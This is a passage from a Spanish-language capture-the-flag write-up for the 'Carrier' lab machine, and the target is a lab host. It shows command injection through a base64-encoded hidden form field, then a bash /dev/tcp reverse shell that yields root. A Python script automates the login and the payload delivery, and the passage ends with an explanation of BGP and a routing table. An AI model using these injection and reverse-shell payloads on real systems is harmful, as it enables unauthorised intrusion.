</span></span><span style="display:flex;"><span>Pragma: no-cache
</span></span><span style="display:flex;"><span>Server: Apache/2.4.18 (Ubuntu)
</span></span><span style="display:flex;"><span>Vary: Accept-Encoding
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">&lt;!DOCTYPE html&gt;</span>
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">html</span> <span style="color:#a6e22e">lang</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;en&#34;</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">head</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">meta</span> <span style="color:#a6e22e">charset</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;utf-8&#34;</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">meta</span> <span style="color:#a6e22e">http-equiv</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;X-UA-Compatible&#34;</span> <span style="color:#a6e22e">content</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;IE=edge&#34;</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">meta</span> <span style="color:#a6e22e">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;viewport&#34;</span> <span style="color:#a6e22e">content</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;width=device-width, initial-scale=1&#34;</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">title</span>&gt;Diagnostics&lt;/<span style="color:#f92672">title</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">link</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;css/bootstrap.min.css&#34;</span> <span style="color:#a6e22e">rel</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;stylesheet&#34;</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">link</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;css/style.css&#34;</span> <span style="color:#a6e22e">rel</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;stylesheet&#34;</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  &lt;/<span style="color:#f92672">head</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">body</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;container-fluid&#34;</span>&gt;
</span></span><span style="display:flex;"><span>        &lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;row&#34;</span>&gt;
</span></span><span style="display:flex;"><span>                &lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;col-md-2&#34;</span>&gt;
</span></span><span style="display:flex;"><span>                &lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>                &lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;col-md-8&#34;</span>&gt;
</span></span><span style="display:flex;"><span>                        &lt;<span style="color:#f92672">br</span>&gt;
</span></span><span style="display:flex;"><span>                        &lt;<span style="color:#f92672">img</span> <span style="color:#a6e22e">alt</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;Lyghtspeed&#34;</span> <span style="color:#a6e22e">src</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;img/logo.png&#34;</span>&gt;
</span></span><span style="display:flex;"><span>                        &lt;<span style="color:#f92672">br</span>&gt;&lt;<span style="color:#f92672">br</span>&gt;
</span></span><span style="display:flex;"><span>                        &lt;<span style="color:#f92672">ul</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;nav nav-pills&#34;</span>&gt;
</span></span><span style="display:flex;"><span>                                &lt;<span style="color:#f92672">li</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;nav-item&#34;</span>&gt;
</span></span><span style="display:flex;"><span>                                        &lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;nav-link&#34;</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;/dashboard.php&#34;</span>&gt;Dashboard&lt;/<span style="color:#f92672">a</span>&gt;
</span></span><span style="display:flex;"><span>                                &lt;/<span style="color:#f92672">li</span>&gt;
</span></span><span style="display:flex;"><span>                                &lt;<span style="color:#f92672">li</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;nav-item&#34;</span>&gt;
</span></span><span style="display:flex;"><span>                                        &lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;nav-link&#34;</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;/tickets.php&#34;</span>&gt;Tickets&lt;/<span style="color:#f92672">a</span>&gt;
</span></span><span style="display:flex;"><span>                                &lt;/<span style="color:#f92672">li</span>&gt;
</span></span><span style="display:flex;"><span>                                &lt;<span style="color:#f92672">li</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;nav-item&#34;</span>&gt;
</span></span><span style="display:flex;"><span>                                        &lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;nav-link disabled&#34;</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;#&#34;</span>&gt;Monitoring&lt;/<span style="color:#f92672">a</span>&gt;
</span></span><span style="display:flex;"><span>                                &lt;/<span style="color:#f92672">li</span>&gt;
</span></span><span style="display:flex;"><span>                                &lt;<span style="color:#f92672">li</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;nav-item&#34;</span>&gt;
</span></span><span style="display:flex;"><span>                                        &lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;nav-link active&#34;</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;/diag.php&#34;</span>&gt;Diagnostics&lt;/<span style="color:#f92672">a</span>&gt;
</span></span><span style="display:flex;"><span>                                &lt;/<span style="color:#f92672">li</span>&gt;
</span></span><span style="display:flex;"><span>                        &lt;/<span style="color:#f92672">ul</span>&gt;
</span></span><span style="display:flex;"><span>                        &lt;<span style="color:#f92672">br</span>&gt;
</span></span><span style="display:flex;"><span>                        &lt;<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>                                &lt;<span style="color:#f92672">p</span>&gt;Warning: Invalid license, diagnostics restricted to built-in checks&lt;/<span style="color:#f92672">p</span>&gt;
</span></span><span style="display:flex;"><span>                                &lt;<span style="color:#f92672">form</span> <span style="color:#a6e22e">role</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;form&#34;</span> <span style="color:#a6e22e">method</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;post&#34;</span>&gt;
</span></span><span style="display:flex;"><span>                                        &lt;<span style="color:#f92672">input</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;hidden&#34;</span> <span style="color:#a6e22e">id</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;check&#34;</span> <span style="color:#a6e22e">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;check&#34;</span> <span style="color:#a6e22e">value</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;cXVhZ2dh&#34;</span>&gt;
</span></span><span style="display:flex;"><span>                                        &lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;form-group&#34;</span>&gt;
</span></span><span style="display:flex;"><span>                                                &lt;<span style="color:#f92672">button</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;submit&#34;</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;btn btn-primary&#34;</span>&gt;
</span></span><span style="display:flex;"><span>                                                       Verify status
</span></span><span style="display:flex;"><span>                                                &lt;/<span style="color:#f92672">button</span>&gt;
</span></span><span style="display:flex;"><span>                                        &lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>                                &lt;/<span style="color:#f92672">form</span>&gt;
</span></span><span style="display:flex;"><span>                        &lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>                        &lt;<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>                        &lt;<span style="color:#f92672">p</span>&gt;quagga     2442  0.0  0.1  24500  2392 ?        Ss   18:50   0:00 /usr/lib/quagga/zebra --daemon -A 127.0.0.
</span></span><span style="display:flex;"><span>1&lt;/<span style="color:#f92672">p</span>&gt;&lt;<span style="color:#f92672">p</span>&gt;root       2451  0.0  0.0  15432   168 ?        Ss   18:50   0:00 /usr/lib/quagga/watchquagga --daemon zebra bgpd&lt;/<span style="color:#f92672">p</span>&gt;&lt;<span style="color:#f92672">p</span>&gt;quagga
</span></span><span style="display:flex;"><span>    2631  0.0  0.1  29320  3432 ?        Ss   18:57   0:00 /usr/lib/quagga/bgpd -f /etc/quagga/bgpd-01.conf -d -i /tmp/bgpd-01.pid&lt;/<span style="color:#f92672">p</span>&gt;&lt;
</span></span><span style="display:flex;"><span>/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>                &lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;col-md-2&#34;</span>&gt;
</span></span><span style="display:flex;"><span>                &lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>        &lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">script</span> <span style="color:#a6e22e">src</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;js/jquery.min.js&#34;</span>&gt;&lt;/<span style="color:#f92672">script</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">script</span> <span style="color:#a6e22e">src</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;js/bootstrap.min.js&#34;</span>&gt;&lt;/<span style="color:#f92672">script</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">script</span> <span style="color:#a6e22e">src</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;js/scripts.js&#34;</span>&gt;&lt;/<span style="color:#f92672">script</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;/<span style="color:#f92672">body</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">html</span>&gt;
</span></span></code></pre></div><p>Logre ejecutar de manera exitosa el mismo comando controlando el output. Veamos si se puede concatenar comandos con <code>;</code></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~$ http --form http://10.10.10.105/diag.php &#34;Cookie: PHPSESSID=0pe9hk302pnup5s84e9984gd24; path=/&#34; check=$(printf &#34;quagga;ls&#34; | base64)
</span></span><span style="display:flex;"><span>HTTP/1.1 200 OK
</span></span><span style="display:flex;"><span>Cache-Control: no-store, no-cache, must-revalidate
</span></span><span style="display:flex;"><span>Connection: Keep-Alive
</span></span><span style="display:flex;"><span>Content-Encoding: gzip
</span></span><span style="display:flex;"><span>Content-Length: 960
</span></span><span style="display:flex;"><span>Content-Type: text/html; charset=UTF-8
</span></span><span style="display:flex;"><span>Date: Wed, 02 Jan 2019 18:58:20 GMT
</span></span><span style="display:flex;"><span>Expires: Thu, 19 Nov 1981 08:52:00 GMT
</span></span><span style="display:flex;"><span>Keep-Alive: timeout=5, max=100
</span></span><span style="display:flex;"><span>Pragma: no-cache
</span></span><span style="display:flex;"><span>Server: Apache/2.4.18 (Ubuntu)
</span></span><span style="display:flex;"><span>Vary: Accept-Encoding
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>&lt;!DOCTYPE html&gt;
</span></span><span style="display:flex;"><span>&lt;html lang=&#34;en&#34;&gt;
</span></span><span style="display:flex;"><span>  &lt;head&gt;
</span></span><span style="display:flex;"><span>    &lt;meta charset=&#34;utf-8&#34;&gt;
</span></span><span style="display:flex;"><span>    &lt;meta http-equiv=&#34;X-UA-Compatible&#34; content=&#34;IE=edge&#34;&gt;
</span></span><span style="display:flex;"><span>    &lt;meta name=&#34;viewport&#34; content=&#34;width=device-width, initial-scale=1&#34;&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    &lt;title&gt;Diagnostics&lt;/title&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    &lt;link href=&#34;css/bootstrap.min.css&#34; rel=&#34;stylesheet&#34;&gt;
</span></span><span style="display:flex;"><span>    &lt;link href=&#34;css/style.css&#34; rel=&#34;stylesheet&#34;&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  &lt;/head&gt;
</span></span><span style="display:flex;"><span>  &lt;body&gt;
</span></span><span style="display:flex;"><span>    &lt;div class=&#34;container-fluid&#34;&gt;
</span></span><span style="display:flex;"><span>        &lt;div class=&#34;row&#34;&gt;
</span></span><span style="display:flex;"><span>                &lt;div class=&#34;col-md-2&#34;&gt;
</span></span><span style="display:flex;"><span>                &lt;/div&gt;
</span></span><span style="display:flex;"><span>                &lt;div class=&#34;col-md-8&#34;&gt;
</span></span><span style="display:flex;"><span>                        &lt;br&gt;
</span></span><span style="display:flex;"><span>                        &lt;img alt=&#34;Lyghtspeed&#34; src=&#34;img/logo.png&#34;&gt;
</span></span><span style="display:flex;"><span>                        &lt;br&gt;&lt;br&gt;
</span></span><span style="display:flex;"><span>                        &lt;ul class=&#34;nav nav-pills&#34;&gt;
</span></span><span style="display:flex;"><span>                                &lt;li class=&#34;nav-item&#34;&gt;
</span></span><span style="display:flex;"><span>                                        &lt;a class=&#34;nav-link&#34; href=&#34;https://www.xbyte.mx/dashboard.php&#34;&gt;Dashboard&lt;/a&gt;
</span></span><span style="display:flex;"><span>                                &lt;/li&gt;
</span></span><span style="display:flex;"><span>                                &lt;li class=&#34;nav-item&#34;&gt;
</span></span><span style="display:flex;"><span>                                        &lt;a class=&#34;nav-link&#34; href=&#34;https://www.xbyte.mx/tickets.php&#34;&gt;Tickets&lt;/a&gt;
</span></span><span style="display:flex;"><span>                                &lt;/li&gt;
</span></span><span style="display:flex;"><span>                                &lt;li class=&#34;nav-item&#34;&gt;
</span></span><span style="display:flex;"><span>                                        &lt;a class=&#34;nav-link disabled&#34; href=&#34;#&#34;&gt;Monitoring&lt;/a&gt;
</span></span><span style="display:flex;"><span>                                &lt;/li&gt;
</span></span><span style="display:flex;"><span>                                &lt;li class=&#34;nav-item&#34;&gt;
</span></span><span style="display:flex;"><span>                                        &lt;a class=&#34;nav-link active&#34; href=&#34;https://www.xbyte.mx/diag.php&#34;&gt;Diagnostics&lt;/a&gt;
</span></span><span style="display:flex;"><span>                                &lt;/li&gt;
</span></span><span style="display:flex;"><span>                        &lt;/ul&gt;
</span></span><span style="display:flex;"><span>                        &lt;br&gt;
</span></span><span style="display:flex;"><span>                        &lt;div&gt;
</span></span><span style="display:flex;"><span>                                &lt;p&gt;Warning: Invalid license, diagnostics restricted to built-in checks&lt;/p&gt;
</span></span><span style="display:flex;"><span>                                &lt;form role=&#34;form&#34; method=&#34;post&#34;&gt;
</span></span><span style="display:flex;"><span>                                        &lt;input type=&#34;hidden&#34; id=&#34;check&#34; name=&#34;check&#34; value=&#34;cXVhZ2dh&#34;&gt;
</span></span><span style="display:flex;"><span>                                        &lt;div class=&#34;form-group&#34;&gt;
</span></span><span style="display:flex;"><span>                                                &lt;button type=&#34;submit&#34; class=&#34;btn btn-primary&#34;&gt;
</span></span><span style="display:flex;"><span>                                                        Verify status
</span></span><span style="display:flex;"><span>                                                &lt;/button&gt;
</span></span><span style="display:flex;"><span>                                        &lt;/div&gt;
</span></span><span style="display:flex;"><span>                                &lt;/form&gt;
</span></span><span style="display:flex;"><span>                        &lt;/div&gt;
</span></span><span style="display:flex;"><span>                        &lt;div&gt;
</span></span><span style="display:flex;"><span>                        &lt;p&gt;quagga     2442  0.0  0.1  24500  2392 ?        Ss   18:50   0:00 /usr/lib/quagga/zebra --daemon -A 127.0.0.
</span></span><span style="display:flex;"><span>1&lt;/p&gt;&lt;p&gt;root       2451  0.0  0.0  15432   168 ?        Ss   18:50   0:00 /usr/lib/quagga/watchquagga --daemon zebra bgpd&lt;/p&gt;&lt;p&gt;quagga
</span></span><span style="display:flex;"><span>    2631  0.0  0.1  29320  3432 ?        Ss   18:57   0:00 /usr/lib/quagga/bgpd -f /etc/quagga/bgpd-01.conf -d -i /tmp/bgpd-01.pid&lt;/p&gt;&lt;
</span></span><span style="display:flex;"><span>p&gt;root       2804  0.0  0.1  11232  3020 ?        Ss   18:57   0:00 bash -c ps waux | grep quagga; bash rev.sh | grep -v grep&lt;/p&gt;&lt;p&gt;roo
</span></span><span style="display:flex;"><span>t       2894  0.0  0.1  11232  3092 ?        Ss   18:58   0:00 bash -c ps waux | grep quagga;ls | grep -v grep&lt;/p&gt;&lt;p&gt;root       2896  0
</span></span><span style="display:flex;"><span>.0  0.0  12944  1088 ?        S    18:58   0:00 grep quagga&lt;/p&gt;&lt;p&gt;rev.sh&lt;/p&gt;&lt;p&gt;rev.sh.1&lt;/p&gt;&lt;p&gt;test_intercept.pcap&lt;/p&gt;&lt;p&gt;user.txt&lt;/p&gt;  &lt;
</span></span><span style="display:flex;"><span>/div&gt;
</span></span><span style="display:flex;"><span>                &lt;div class=&#34;col-md-2&#34;&gt;
</span></span><span style="display:flex;"><span>                &lt;/div&gt;
</span></span><span style="display:flex;"><span>        &lt;/div&gt;
</span></span><span style="display:flex;"><span>&lt;/div&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    &lt;script src=&#34;js/jquery.min.js&#34;&gt;&lt;/script&gt;
</span></span><span style="display:flex;"><span>    &lt;script src=&#34;js/bootstrap.min.js&#34;&gt;&lt;/script&gt;
</span></span><span style="display:flex;"><span>    &lt;script src=&#34;js/scripts.js&#34;&gt;&lt;/script&gt;
</span></span><span style="display:flex;"><span>  &lt;/body&gt;
</span></span><span style="display:flex;"><span>&lt;/html&gt;
</span></span></code></pre></div><p>Perfecto, al final aparece el ls del directorio $HOME del usuario.</p>
<blockquote>
<p>Se omite las peticiones HTTP por ser una replica de las peticiones anteriores.</p>
</blockquote>
<h1 id="reverse-shell-1">Reverse Shell, 1</h1>
<p>Levantemos un listener del lado de mi máquina:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~$ ncat -lnvp 3001
</span></span><span style="display:flex;"><span>Ncat: Version 7.70 ( https://nmap.org/ncat )
</span></span><span style="display:flex;"><span>Ncat: Listening on :::3001
</span></span><span style="display:flex;"><span>Ncat: Listening on 0.0.0.0:3001
</span></span></code></pre></div><p>Ejecutemos una del arsenal para que el servidor se conecte a mi maquina y podamos interactuar con el STDIN y STDOUT de la maquina:</p>
<p><code>bash -i &gt;&amp; /dev/tcp/10.10.15.126/3001 0&gt;&amp;1</code></p>
<p>Concatenamos y lanzamos:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~$ http --form http://10.10.10.105/diag.php &#34;Cookie: PHPSESSID=ld7k5a627mvs32ge9246tn2857; path=/&#34; check=$(printf &#34;quagga;bash -i &gt;&amp; /dev/tcp/10.10.15.126/3001 0&gt;&amp;1&#34; | base64)
</span></span></code></pre></div><p>Esperamos que carrier se conecte hacia nosotros:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~$ ncat -lnvp 3001
</span></span><span style="display:flex;"><span>Ncat: Version 7.70 ( https://nmap.org/ncat )
</span></span><span style="display:flex;"><span>Ncat: Listening on :::3001
</span></span><span style="display:flex;"><span>Ncat: Listening on 0.0.0.0:3001
</span></span><span style="display:flex;"><span>Ncat: Connection from 10.10.10.105.
</span></span><span style="display:flex;"><span>Ncat: Connection from 10.10.10.105:53914.
</span></span><span style="display:flex;"><span>bash: cannot set terminal process group (5515): Inappropriate ioctl for device
</span></span><span style="display:flex;"><span>bash: no job control in this shell
</span></span><span style="display:flex;"><span>root@r1:~# id
</span></span><span style="display:flex;"><span>id
</span></span><span style="display:flex;"><span>uid=0(root) gid=0(root) groups=0(root)
</span></span></code></pre></div><p>Listo ya estamos dentro. Ahora tomemos la flag de user.txt</p>
<h1 id="cat-usertxt"><code>cat user.txt</code></h1>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>root@r1:~# cat user.txt
</span></span></code></pre></div><h1 id="reverse-shell-2">Reverse Shell, 2</h1>
<p>Como muchos saben, conectarse a cada rato puede resultar algo aburrido de hacer una y otra vez, es por ello que realice el siguiente script en python para que me conecte cada que sea necesario. El único requerimiento es tener un ncat escuchando en el puerto 3001.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#75715e">#! /usr/bin/python</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> requests<span style="color:#f92672">,</span>base64<span style="color:#f92672">,</span>netifaces
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>IP <span style="color:#f92672">=</span> netifaces<span style="color:#f92672">.</span>ifaddresses(<span style="color:#e6db74">&#39;tun0&#39;</span>)[netifaces<span style="color:#f92672">.</span>AF_INET][<span style="color:#ae81ff">0</span>][<span style="color:#e6db74">&#39;addr&#39;</span>]
</span></span><span style="display:flex;"><span>PORT <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;3001&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>payload<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;quagga; bash -i &gt;&amp; /dev/tcp/&#34;</span><span style="color:#f92672">+</span>IP<span style="color:#f92672">+</span><span style="color:#e6db74">&#34;/&#34;</span><span style="color:#f92672">+</span>PORT<span style="color:#f92672">+</span><span style="color:#e6db74">&#34; 0&gt;&amp;1&#34;</span>
</span></span><span style="display:flex;"><span>encoded <span style="color:#f92672">=</span> base64<span style="color:#f92672">.</span>b64encode(payload)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>session <span style="color:#f92672">=</span> requests<span style="color:#f92672">.</span>Session()
</span></span><span style="display:flex;"><span>headers <span style="color:#f92672">=</span> {<span style="color:#e6db74">&#34;Content-Type&#34;</span>:<span style="color:#e6db74">&#34;application/x-www-form-urlencoded&#34;</span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>loginPost <span style="color:#f92672">=</span> {<span style="color:#e6db74">&#34;username&#34;</span>:<span style="color:#e6db74">&#34;admin&#34;</span>, <span style="color:#e6db74">&#34;password&#34;</span>:<span style="color:#e6db74">&#34;NET_45JDX23&#34;</span>}
</span></span><span style="display:flex;"><span>session<span style="color:#f92672">.</span>post(<span style="color:#e6db74">&#34;http://10.10.10.105/&#34;</span>, data<span style="color:#f92672">=</span>loginPost, headers<span style="color:#f92672">=</span>headers)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>diagPost <span style="color:#f92672">=</span> {<span style="color:#e6db74">&#34;check&#34;</span>:encoded}
</span></span><span style="display:flex;"><span>session<span style="color:#f92672">.</span>post(<span style="color:#e6db74">&#34;http://10.10.10.105/diag.php&#34;</span>, data<span style="color:#f92672">=</span>diagPost, headers<span style="color:#f92672">=</span>headers)
</span></span></code></pre></div><h1 id="privesc">PrivEsc</h1>
<p>Como hemos podido observar hasta el momento, el diag del proceso quagga fue lo que básicamente nos permitió ingresar hasta el servidor, ¿pero qué es exactamente quagga? Simplificada mente, se trata del remplazo de zebra, que consistía en una implementación de daemons para OSPF, BGP, RIP, IS-IS para *nix que nos permitían subir a la <code>RIB table</code>. Aquí es donde hace sentido el diagrama de Sistemas Autónomos que obtuvimos antes:</p>
<p><img src="/img/htb-carrier/diagram_for_tac.png" alt="diagram for tac"></p>
<p>Los carriers o ISP interactúan usando BGP para compartir información sobre el estado de sistemas autónomos (grupos de routers que comparten información de routing loop-free). En este caso tenemos que existe una interconexión de 3 sistemas autónomos, donde cada uno debe tener ciertos segmentos de red que anuncia sobre BGP.</p>
<p>Si miramos la tabla de enrutamiento aprendido por BGP, usando vtysh veremos lo siguiente:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>BGP table version is 0, local router ID is 10.255.255.1
</span></span><span style="display:flex;"><span>Status codes: s suppressed, d damped, h history, * valid, &gt; best, = multipath,
</span></span><span style="display:flex;"><span>              i internal, r RIB-failure, S Stale, R Removed
</span></span><span style="display:flex;"><span>Origin codes: i - IGP, e - EGP, ? - incomplete
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>   Network          Next Hop            Metric LocPrf Weight Path
</span></span><span style="display:flex;"><span>*&gt; 10.78.10.0/24    0.0.0.0                  0         32768 ?
</span></span><span style="display:flex;"><span>*&gt; 10.78.11.0/24    0.0.0.0                  0         32768 ?
</span></span><span style="display:flex;"><span>*&gt; 10.99.64.0/24    0.0.0.0                  0         32768 ?
</span></span><span style="display:flex;"><span>*  10.100.10.0/24   10.78.11.2                             0 300 200 i
</span></span><span style="display:flex;"><span>*&gt;                  10.78.10.2               0             0 200 i
</span></span><span style="display:flex;"><span>*  10.100.11.0/24   10.78.11.2                             0 300 200 i
</span></span><span style="display:flex;"><span>*&gt;                  10.78.10.2               0             0 200 i
</span></span><span style="display:flex;"><span>*  10.100.12.0/24   10.78.11.2                             0 300 200 i
</span></span><span style="display:flex;"><span>*&gt;                  10.78.10.2               0             0 200 i
</span></span><span style="display:flex;"><span>*  10.100.13.0/24   10.78.11.2                             0 300 200 i
</span></span><span style="display:flex;"><span>*&gt;                  10.78.10.2               0             0 200 i
</span></span><span style="display:flex;"><span>*  10.100.14.0/24   10.78.11.2                             0 300 200 i
</span></span><span style="display:flex;"><span>*&gt;                  10.78.10.2               0             0 200 i
</span></span><span style="display:flex;"><span>*  10.100.15.0/24   10.78.11.2                             0 300 200 i
</span></span><span style="display:flex;"><span>*&gt;                  10.78.10.2               0             0 200 i
</span></span><span style="display:flex;"><span>*  10.100.16.0/24   10.78.11.2                             0 300 200 i
</span></span><span style="display:flex;"><span>*&gt;                  10.78.10.2               0             0 200 i
</span></span><span style="display:flex;"><span>*  10.100.17.0/24   10.78.11.2                             0 300 200 i
</span></span><span style="display:flex;"><span>*&gt;                  10.78.10.2               0             0 200 i
</span></span><span style="display:flex;"><span>*  10.100.18.0/24   10.78.11.2                             0 300 200 i
</span></span><span style="display:flex;"><span>*&gt;                  10.78.10.2               0             0 200 i
</span></span><span style="display:flex;"><span>*  10.100.19.0/24   10.78.11.2                             0 300 200 i
</span></span><span style="display:flex;"><span>*&gt;                  10.78.10.2               0             0 200 i
</span></span><span style="display:flex;"><span>*  10.100.20.0/24   10.78.11.2                             0 300 200 i
</span></span><span style="display:flex;"><span>*&gt;                  10.78.10.2               0             0 200 i
</span></span><span style="display:flex;"><span>*&gt; 10.101.8.0/21    0.0.0.0                  0         32768 i
</span></span><span style="display:flex;"><span>*&gt; 10.101.16.0/21   0.0.0.0                  0         32768 i
</span></span><span style="display:flex;"><span>*&gt; 10.120.10.0/24   10.78.11.2               0             0 300 i
</span></span><span style="display:flex;"><span>*                   10.78.10.2                             0 200 300 i
</span></span><span style="display:flex;"><span>*&gt; 10.120.11.0/24   10.78.11.2               0             0 300 i
</span></span><span style="display:flex;"><span>*                   10.78.10.2                             0 200 300 i
</span></span><span style="display:flex;"><span>*&gt; 10.120.12.0/24   10.78.11.2               0             0 300 i
</span></span><span style="display:flex;"><span>*                   10.78.10.2                             0 200 300 i
</span></span><span style="display:flex;"><span>*&gt; 10.120.13.0/24   10.78.11.2               0             0 300 i
</span></span><span style="display:flex;"><span>*                   10.78.10.2                             0 200 300 i
</span></span><span style="display:flex;"><span>*&gt; 10.120.14.0/24   10.78.11.2               0             0 300 i
</span></span><span style="display:flex;"><span>*                   10.78.10.2                             0 200 300 i
